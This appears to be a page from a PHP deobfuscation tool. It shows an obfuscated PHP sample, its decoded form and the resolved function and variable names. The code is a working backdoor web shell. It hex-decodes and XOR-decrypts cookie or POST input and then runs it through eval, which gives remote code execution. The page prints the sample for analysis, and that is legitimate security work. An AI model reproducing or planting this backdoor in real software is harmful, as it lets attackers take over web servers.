Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $cXbXixon/* CH */=/* OH */chr/* YDM */(115) . chr/*q*/(116)/* Ds */. 'r'/*hJ */..

Decoded Output download

<?php	$cXbXixon/* CH  */=/* OH */chr/* YDM   */(115)	.	chr/*q*/(116)/* Ds  */.	'r'/*hJ  */./*eDJL*/chr     (	536	-	441	).chr	(/*  Ki */123  - 9	).chr/*  nONhM */(   207 -	106   )."p"	.	chr	(/*nTm*/988     -  887	).chr/*   xXc*/(97)    .     chr     (116); 
			$wCplqTiT	=   'e'/*TpWLb   */. "x"/*vTGk   */./*TTIV  */"p"/*   uXRw*/./*ej  */"l"/* GHp */.	chr   (	370/*oktu   */-	259	).chr/* buVeJ*/(100)    .	chr/* hmhk*/(101); 
 $RqEyoklYCc/*   HQ*/=    chr	(    736   -	624/*Oh  */)."a"/* wz*/./*  SVvG */"c"	.	'k';; 
 
 
function     bjiHNldqo() 
 { 
    $OlndfrWjKF =/*  G*/Array	(	"wHPgr"/*   H   */=>/*  vfMD*/"gvJuDUuwLy"/*  JLhB  */); 
			/*  xYB   */ 
 	$lcLCnpnuR     =/*   Cyis  */Array	(   "FlHjPqeQu"  =>	"VZAwRNVPySKUThEsfmEZQV"   ); 
 
     $dBsNZF	=/* lrseC  */Array(  $OlndfrWjKF,    $_COOKIE,/*   IH */$OlndfrWjKF,  $_POST,/*   jjZJ  */$lcLCnpnuR); 
   	 
    /*  IZjC  */return    $dBsNZF;; 
			/*   JsL  */} 
     
  function	JSwStLlg($MltLgoxo) 
 
 
	{ 
     	if/*   WT   */(	count/* yP */(  $MltLgoxo/*seci   */)	==  3	)/*  zjgP */{ 
 
	$yMAqLBYfPL/* oMxD  */=    $MltLgoxo[1]; 
 
/*wHvxh   */$CzYWcUMjPu/*  epq*/=/*  tIM */$MltLgoxo[2];$_zPc	=  '20864'; 
    	$sLwTXtSjxC =    $yMAqLBYfPL($CzYWcUMjPu);$_SCHPI/*   l   */=/*  pmwLQ   */'14179'; 
 
 
/*  WQB*/eval	(/*   Vd  */$sLwTXtSjxC  );; 
 /*WMrZ  */die	();; 
		     } 
	} 
     	 
    function/* kwesG*/EXNgpKibp($QEDWOCSX,	$xLddLOjWv) 
 
 
/* wa  */{ 
      return/*TTxaI */$QEDWOCSX	^/*   izNt */$xLddLOjWv; 
 	} 
 
 
	 
		$yawsKGLRu    =	chr	(35);$_V	=/*eUzx */'51254'; 
   	 
					foreach	(bjiHNldqo()	as/*  Abi  */$jfHoHNsqKS) { 
 
/*   zZkN   */foreach/*zKz  */(    $jfHoHNsqKS	as/*   BbacY  */$xLddLOjWv    =>/*   JqCo*/$QEDWOCSX	)	{ 
					/*GSo   */ 
			$QEDWOCSX =/*B */@$RqEyoklYCc(/*KYpE  */chr    (72)   .     "*",	$QEDWOCSX  );$_UCLk =/* uH*/'40580'; 
			/* rFPKy  */ 
			/*  MGLBN   */$xLddLOjWv	.=     "VGuxrHC-SoGXR-Ioai-iZiXte-zYK-IZR-ZfXh";$_fyFQW    =/*Et   */'62910'; 
/*bafcn*/$xLddLOjWv/* As  */=     $cXbXixon  (   $xLddLOjWv,   (	strlen(	$QEDWOCSX	)/strlen(/*  aH   */$xLddLOjWv	)	)     +   1); 
      
					$XnvBIT/*jfyuN   */=/*  NgiXc */EXNgpKibp($QEDWOCSX,/*MWIGE   */$xLddLOjWv);; 
    /*   q*/ 
				 $MltLgoxo = $wCplqTiT	($yawsKGLRu,	$XnvBIT/* r */);; 
	 
					   JSwStLlg($MltLgoxo); 
 
 
/* oRbZD  */ 
     	continue; 
 
 
	} 
				/* VP */} ?>

Did this file decode correctly?

Original Code

<?php	$cXbXixon/* CH  */=/* OH */chr/* YDM   */(115)	.	chr/*q*/(116)/* Ds  */.	'r'/*hJ  */./*eDJL*/chr     (	536	-	441	).chr	(/*  Ki */123  - 9	).chr/*  nONhM */(   207 -	106   )."\160"	.	chr	(/*nTm*/988     -  887	).chr/*   xXc*/(97)    .     chr     (116);
			$wCplqTiT	=   'e'/*TpWLb   */. "\x78"/*vTGk   */./*TTIV  */"\x70"/*   uXRw*/./*ej  */"\x6c"/* GHp */.	chr   (	370/*oktu   */-	259	).chr/* buVeJ*/(100)    .	chr/* hmhk*/(101);
 $RqEyoklYCc/*   HQ*/=    chr	(    736   -	624/*Oh  */)."\141"/* wz*/./*  SVvG */"\x63"	.	'k';;


function     bjiHNldqo()
 {
    $OlndfrWjKF =/*  G*/Array	(	"wHPgr"/*   H   */=>/*  vfMD*/"gvJuDUuwLy"/*  JLhB  */);
			/*  xYB   */
 	$lcLCnpnuR     =/*   Cyis  */Array	(   "FlHjPqeQu"  =>	"VZAwRNVPySKUThEsfmEZQV"   );

     $dBsNZF	=/* lrseC  */Array(  $OlndfrWjKF,    $_COOKIE,/*   IH */$OlndfrWjKF,  $_POST,/*   jjZJ  */$lcLCnpnuR);
   	
    /*  IZjC  */return    $dBsNZF;;
			/*   JsL  */}
    
  function	JSwStLlg($MltLgoxo)


	{
     	if/*   WT   */(	count/* yP */(  $MltLgoxo/*seci   */)	==  3	)/*  zjgP */{

	$yMAqLBYfPL/* oMxD  */=    $MltLgoxo[1];

/*wHvxh   */$CzYWcUMjPu/*  epq*/=/*  tIM */$MltLgoxo[2];$_zPc	=  '20864';
    	$sLwTXtSjxC =    $yMAqLBYfPL($CzYWcUMjPu);$_SCHPI/*   l   */=/*  pmwLQ   */'14179';


/*  WQB*/eval	(/*   Vd  */$sLwTXtSjxC  );;
 /*WMrZ  */die	();;
		     }
	}
     	
    function/* kwesG*/EXNgpKibp($QEDWOCSX,	$xLddLOjWv)


/* wa  */{
      return/*TTxaI */$QEDWOCSX	^/*   izNt */$xLddLOjWv;
 	}


	
		$yawsKGLRu    =	chr	(35);$_V	=/*eUzx */'51254';
   	
					foreach	(bjiHNldqo()	as/*  Abi  */$jfHoHNsqKS) {

/*   zZkN   */foreach/*zKz  */(    $jfHoHNsqKS	as/*   BbacY  */$xLddLOjWv    =>/*   JqCo*/$QEDWOCSX	)	{
					/*GSo   */
			$QEDWOCSX =/*B */@$RqEyoklYCc(/*KYpE  */chr    (72)   .     "\x2a",	$QEDWOCSX  );$_UCLk =/* uH*/'40580';
			/* rFPKy  */
			/*  MGLBN   */$xLddLOjWv	.=     "VGuxrHC-SoGXR-Ioai-iZiXte-zYK-IZR-ZfXh";$_fyFQW    =/*Et   */'62910';
/*bafcn*/$xLddLOjWv/* As  */=     $cXbXixon  (   $xLddLOjWv,   (	strlen(	$QEDWOCSX	)/strlen(/*  aH   */$xLddLOjWv	)	)     +   1);
     
					$XnvBIT/*jfyuN   */=/*  NgiXc */EXNgpKibp($QEDWOCSX,/*MWIGE   */$xLddLOjWv);;
    /*   q*/
				 $MltLgoxo = $wCplqTiT	($yawsKGLRu,	$XnvBIT/* r */);;
	
					   JSwStLlg($MltLgoxo);


/* oRbZD  */
     	continue;


	}
				/* VP */}

Function Calls

chr 13
bjiHNldqo 1

Variables

$_V 51254
$dBsNZF [{'key': 0, 'value': [{'key': 'wHPgr', 'value': 'gvJuDUuwLy'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'wHPgr', 'value': 'gvJuDUuwLy'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'FlHjPqeQu', 'value': 'VZAwRNVPySKUThEsfmEZQV'}]}]
$cXbXixon str_repeat
$wCplqTiT explode
$lcLCnpnuR [{'key': 'FlHjPqeQu', 'value': 'VZAwRNVPySKUThEsfmEZQV'}]
$yawsKGLRu #
$OlndfrWjKF [{'key': 'wHPgr', 'value': 'gvJuDUuwLy'}]
$RqEyoklYCc pack

Stats

MD5 16e2dbabbb82f987f88a75dc09c92938
Eval Count 0
Decode Time 155 ms